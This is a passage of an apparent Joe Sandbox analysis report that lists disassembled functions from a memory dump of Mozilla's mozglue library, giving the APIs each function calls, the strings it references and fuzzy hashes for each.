Opcode Fuzzy Hash: d23d996a0f9e3a55aa609b5edafcd711e60c1d3eafb575495485f5ea4c559981
Instruction Fuzzy Hash: D3027471A0121ACFDB54CF1AC984799B7B5FF88318F2542AAD809A7B11D730BE91CF85

Function 6C6A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C6A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C6A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6A36BF

Strings

set , xrefs: 6C6A36EC
get , xrefs: 6C6A3205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C6A378D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction ID: e335c5896470117f24a1d7905bca94b85fc95766e42619db47664e281dacefd1
Opcode Fuzzy Hash: 0f2f3cde56ae256f8e4f2838535945ccd874a002808d56f1c33e8a395cb1cd4e
Instruction Fuzzy Hash: 23325F706083818FD324CF64C4906AEF7E2AFCA318F54892DE59987751DB31E94ACB5B

Function 6C697E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C697ECF, 6C698335
(pre-xul), xrefs: 6C697E88
data, xrefs: 6C698280, 6C6983E1
vml, xrefs: 6C698207
schema, xrefs: 6C6981E3, 6C698311

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vml
API String ID: 3412268980-1127494330
Opcode ID: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction ID: d705e3e16f5a66896cbab592bcc7b139a249099473c9c99f12f19ba6965382d3
Opcode Fuzzy Hash: 50d35162e2be8bb4c1390a11102234f542ceebbfd6a3dbc931716a11d87444ef
Instruction Fuzzy Hash: 95E17EB1A043418BC710CF69884065BFBE9FBC5318F154A2DE899D7790DBB0ED498B9A

Function 6C6B5FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C6B6009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6B6024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Qel,?), ref: 6C6B6046
OutputDebugStringA.KERNEL32(?,Qel,?), ref: 6C6B6061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B6069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B6082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C6D148E), ref: 6C6B6091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Qel,00000000,?), ref: 6C6B60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B60C4

Strings

Qel, xrefs: 6C6B5FFC, 6C6B6042, 6C6B6045, 6C6B60B3

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Qel
API String ID: 3835517998-143502305
Opcode ID: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction ID: 0bee4949a3c12674624caf69fdf099db811cb994a11b43c0f01aa4cdd0b21ba7
Opcode Fuzzy Hash: a4574409b69409ae6be25b6d807e4b3fa98b40acfd1afdc6698b14afde359f41
Instruction Fuzzy Hash: 5F21C971A002089FDF105F25DC89AAE7BB8FF85714F008428E95AD7241CB75B559CFEA

Function 6C675E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2
memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C6761F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C677652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6772E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C67730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C677BCD, 6C677C1F, 6C677C34, 6C6780FD
MOZ_CRASH(), xrefs: 6C677BA4
ewkl, xrefs: 6C675E9C, 6C675F22, 6C6761ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6772F8

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewkl
API String ID: 2613674957-540203688
Opcode ID: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction ID: 13738e89483b599a26ee7064ab1de4d6f5ddb4f79b35eb5c83b6c5f952d12e41
Opcode Fuzzy Hash: 680c48dcf9b31852c235396ec589b556973e22b603f0989a5bb0c17bd00a9d83
Instruction Fuzzy Hash: 9C33BC716067018FC325CF28C590615BBE2FF85328F29CBADE8698B7A5D731E841CB59

Function 6C6A4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

ml, xrefs: 6C6A4F88
data, xrefs: 6C6A49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C6A4DB8, 6C6A4DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C6A4D0A
ProfileBuffer parse error: %s, xrefs: 6C6A4DD9
schema, xrefs: 6C6A48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C6A4D65
-%llu, xrefs: 6C6A4825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C6A4CAF

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID: ml$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-1201911369
Opcode ID: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction ID: 8fcfe4031aeec2e59cb8cdb0fc181e9fe1cd57aec7edbe6baab26d8344da2cb0
Opcode Fuzzy Hash: 8a0ca586c4e7f85565d8d4fcc1a4a0eb16d418c4a01c2afc4310c15e1857a3e3
Instruction Fuzzy Hash: 90723F71958B858BD361CF34C4513ABF7E5BFDA344F108B1DE48A6B610EB70A886CB46

Function 6C67D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D6A6
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D712
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67D7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C67D82C
<jemalloc>, xrefs: 6C67D827

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction ID: 8e5b2784bc4e44ae93db445447a53da21b8530f242c60e12b6fd494aaa9eed1f
Opcode Fuzzy Hash: 87ce9bd5f3aff67cde588faddb11a27f5e74e8bb6ca9c4638c38cf2c6ce1d661
Instruction Fuzzy Hash: 1991C471A047018FD764CF29C49076AB7E1EB89318F158D2EE55AC7B81D734E844CBAA

Function 6C6B4EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C6B4EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4F2E
moz_xmalloc.MOZGLUE ref: 6C6B4F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C6B7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C6B7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C6B7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B707E

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6B709C
LocalFree.KERNEL32(?), ref: 6C6B70AA

Strings

(null), xrefs: 6C6B706A, 6C6B7083
### ERROR: %s: %s, xrefs: 6C6B7087

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction ID: 50a75a8df81bdbf4fbc7667b6d45fd098a4b3753a183403824a3fb99ba76178c
Opcode Fuzzy Hash: ce8d0fb66b92e3399222ad7a9346f7dc74236a9480add317baecaae70e8de34d
Instruction Fuzzy Hash: 0501B9B1A00105AFDB005BA5DC8ADAF7BBCEF89255F010425FA05A3241D6717918CBA9

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
expected a Time entry, xrefs: 6C6A2E36
(root), xrefs: 6C6A354F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

NaN, xrefs: 6C6B9EAB
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

, xrefs: 6C65DA88
@, xrefs: 6C65DAF6
1, xrefs: 6C65DBDD
0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
-, xrefs: 6C65D7DD
0, xrefs: 6C65D852
8, xrefs: 6C65DC08

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C9459, 6C6C9269, 6C6C5703, 6C6C921F, 6C6C5740, 6C6C56C7, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C9459, 6C6C9269, 6C6C5703, 6C6C921F, 6C6C5740, 6C6C56C7, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

ntdll.dll, xrefs: 6C6BC413
NtQueryVirtualMemory, xrefs: 6C6BC431

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
